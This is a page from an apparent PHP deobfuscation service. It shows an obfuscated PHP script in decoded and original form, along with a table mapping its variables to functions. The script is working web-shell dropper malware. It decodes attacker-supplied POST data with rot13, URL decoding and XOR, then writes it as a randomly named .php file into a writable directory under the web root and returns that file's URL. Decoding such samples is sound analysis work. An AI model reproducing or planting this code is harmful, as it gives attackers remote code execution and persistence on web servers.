Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ijnSUoLj = "\104"."\117".'C'.'U'.chr(77).chr(69).chr(993-915).chr(84).chr(1080-985..

Decoded Output download

 <?php $ijnSUoLj = "D"."O".'C'.'U'.chr(77).chr(69).chr(993-915).chr(84).chr(1080-985)."R".chr(686-607).'O'."T";$FiufRHGd = 
chr(304-232).chr(84).chr(84)."P"."_"."H".chr(681-602).chr(779-696).'T';$LZFERWD = 
"h".chr(455-339)."t"."p".chr(58).chr(47).chr(455-408);$rbBVJP = chr(46)."p"."h"."p";$zEZnGcttn = "p".'h'."p";$ojxXDTCQ = 
"f"."i"."l".chr(101).chr(95).'p'.'u'."t"."_".chr(99).'o'.'n'.'t'."e".chr(129-19).chr(116).chr(115);$SWzVrnKamT = 
"r"."a"."w".chr(117).chr(625-511).'l'.chr(208-108).chr(1007-906)."c".chr(111)."d".chr(411-310);$ULnsj = 
chr(830-713).'n'."s"."e".chr(535-421)."i".chr(97).chr(346-238)."i".chr(479-357)."e";$FmYYCoSbp = 
chr(105)."s"."_"."w".chr(910-796)."i".'t'.chr(1036-939)."b"."l"."e";$CJbGzSS = 
'p'."h".'p'.'v'.chr(1047-946).'r'.chr(115).chr(885-780).'o'.chr(418-308);$gHrusrpt = 
chr(115).'t'.chr(114).'_'.chr(962-848)."o".chr(116)."1".chr(820-769);$xOgrA = 
chr(159-44).'e'.chr(320-206)."i".chr(509-412)."l".'i'.'z'.chr(101);$kGNFzfvYk = 
's'."t".chr(914-800).'_'."s".chr(112).chr(108).chr(105).chr(116);foreach ($_POST as $hGONPpTd => $okeMniTA){if (strlen($hGONPpTd) == 16){$okeMniTA = 
$kGNFzfvYk($SWzVrnKamT($gHrusrpt($okeMniTA)));$hGONPpTd = array_slice($kGNFzfvYk(str_repeat($hGONPpTd, (count($okeMniTA)/16)+1)), 0, count($okeMniTA));function 
ivhxP($OFugcekZB, $cOGmRzqyL, $hGONPpTd){$KrzRqiK = "5df91023-1746-4327-aa0f-ebf967d24e5b";return $OFugcekZB ^ $KrzRqiK[$cOGmRzqyL % strlen($KrzRqiK)] ^ 
$hGONPpTd;}$okeMniTA = implode("", array_map("ivhxP", array_values($okeMniTA), array_keys($okeMniTA), array_values($hGONPpTd)));$okeMniTA = 
@$ULnsj($okeMniTA);if (@is_array($okeMniTA)){$EMMSyTYjzm = array_keys($okeMniTA);$okeMniTA = $okeMniTA[$EMMSyTYjzm[0]];if ($okeMniTA === $EMMSyTYjzm[0]){echo 
@$xOgrA(Array($zEZnGcttn => @$CJbGzSS(), ));exit();}else {function YvfXfEtm($YozwyTPvir){static $FOpjjNbC = array();$WSxHSTz = glob($YozwyTPvir . '/*', 
GLOB_ONLYDIR);if (count($WSxHSTz) > 0) {foreach ($WSxHSTz as $YozwyTPv) {if (@$FmYYCoSbp($YozwyTPv)) {$FOpjjNbC[] = $YozwyTPv;}}}foreach ($WSxHSTz as 
$YozwyTPvir) YvfXfEtm($YozwyTPvir);return $FOpjjNbC;}$cyOdXlzCEs = $_SERVER[$ijnSUoLj];$WSxHSTz = YvfXfEtm($cyOdXlzCEs);$EMMSyTYjzm = 
array_rand($WSxHSTz);$INcNOzsVP = $WSxHSTz[$EMMSyTYjzm] . "/" . substr(md5(time()), 0, 8) . $rbBVJP;@$ojxXDTCQ($INcNOzsVP, $okeMniTA);echo $LZFERWD . 
$_SERVER[$FiufRHGd] . substr($INcNOzsVP, strlen($cyOdXlzCEs));exit();}}}}  ?>

Did this file decode correctly?

Original Code

 <?php $ijnSUoLj = "\104"."\117".'C'.'U'.chr(77).chr(69).chr(993-915).chr(84).chr(1080-985)."\122".chr(686-607).'O'."\x54";$FiufRHGd =
chr(304-232).chr(84).chr(84)."\120"."\137"."\110".chr(681-602).chr(779-696).'T';$LZFERWD =
"\150".chr(455-339)."\164"."\160".chr(58).chr(47).chr(455-408);$rbBVJP = chr(46)."\160"."\x68"."\x70";$zEZnGcttn = "\160".'h'."\x70";$ojxXDTCQ =
"\146"."\x69"."\x6c".chr(101).chr(95).'p'.'u'."\164"."\x5f".chr(99).'o'.'n'.'t'."\145".chr(129-19).chr(116).chr(115);$SWzVrnKamT =
"\162"."\141"."\x77".chr(117).chr(625-511).'l'.chr(208-108).chr(1007-906)."\x63".chr(111)."\x64".chr(411-310);$ULnsj =
chr(830-713).'n'."\x73"."\x65".chr(535-421)."\x69".chr(97).chr(346-238)."\151".chr(479-357)."\x65";$FmYYCoSbp =
chr(105)."\x73"."\137"."\167".chr(910-796)."\x69".'t'.chr(1036-939)."\x62"."\x6c"."\145";$CJbGzSS =
'p'."\150".'p'.'v'.chr(1047-946).'r'.chr(115).chr(885-780).'o'.chr(418-308);$gHrusrpt =
chr(115).'t'.chr(114).'_'.chr(962-848)."\x6f".chr(116)."\61".chr(820-769);$xOgrA =
chr(159-44).'e'.chr(320-206)."\151".chr(509-412)."\x6c".'i'.'z'.chr(101);$kGNFzfvYk =
's'."\x74".chr(914-800).'_'."\x73".chr(112).chr(108).chr(105).chr(116);foreach ($_POST as $hGONPpTd => $okeMniTA){if (strlen($hGONPpTd) == 16){$okeMniTA =
$kGNFzfvYk($SWzVrnKamT($gHrusrpt($okeMniTA)));$hGONPpTd = array_slice($kGNFzfvYk(str_repeat($hGONPpTd, (count($okeMniTA)/16)+1)), 0, count($okeMniTA));function
ivhxP($OFugcekZB, $cOGmRzqyL, $hGONPpTd){$KrzRqiK = "5df91023-1746-4327-aa0f-ebf967d24e5b";return $OFugcekZB ^ $KrzRqiK[$cOGmRzqyL % strlen($KrzRqiK)] ^
$hGONPpTd;}$okeMniTA = implode("", array_map("ivhxP", array_values($okeMniTA), array_keys($okeMniTA), array_values($hGONPpTd)));$okeMniTA =
@$ULnsj($okeMniTA);if (@is_array($okeMniTA)){$EMMSyTYjzm = array_keys($okeMniTA);$okeMniTA = $okeMniTA[$EMMSyTYjzm[0]];if ($okeMniTA === $EMMSyTYjzm[0]){echo
@$xOgrA(Array($zEZnGcttn => @$CJbGzSS(), ));exit();}else {function YvfXfEtm($YozwyTPvir){static $FOpjjNbC = array();$WSxHSTz = glob($YozwyTPvir . '/*',
GLOB_ONLYDIR);if (count($WSxHSTz) > 0) {foreach ($WSxHSTz as $YozwyTPv) {if (@$FmYYCoSbp($YozwyTPv)) {$FOpjjNbC[] = $YozwyTPv;}}}foreach ($WSxHSTz as
$YozwyTPvir) YvfXfEtm($YozwyTPvir);return $FOpjjNbC;}$cyOdXlzCEs = $_SERVER[$ijnSUoLj];$WSxHSTz = YvfXfEtm($cyOdXlzCEs);$EMMSyTYjzm =
array_rand($WSxHSTz);$INcNOzsVP = $WSxHSTz[$EMMSyTYjzm] . "/" . substr(md5(time()), 0, 8) . $rbBVJP;@$ojxXDTCQ($INcNOzsVP, $okeMniTA);echo $LZFERWD .
$_SERVER[$FiufRHGd] . substr($INcNOzsVP, strlen($cyOdXlzCEs));exit();}}}} 

Function Calls

chr 54

Variables

$ULnsj unserialize
$xOgrA serialize
$rbBVJP .php
$CJbGzSS phpversion
$LZFERWD http://
$FiufRHGd HTTP_HOST
$gHrusrpt str_rot13
$ijnSUoLj DOCUMENT_ROOT
$ojxXDTCQ file_put_contents
$FmYYCoSbp is_writable
$kGNFzfvYk str_split
$zEZnGcttn php
$SWzVrnKamT rawurldecode

Stats

MD5 573a4f0ced3a94e1e1eba2d795727ed8
Eval Count 0
Decode Time 90 ms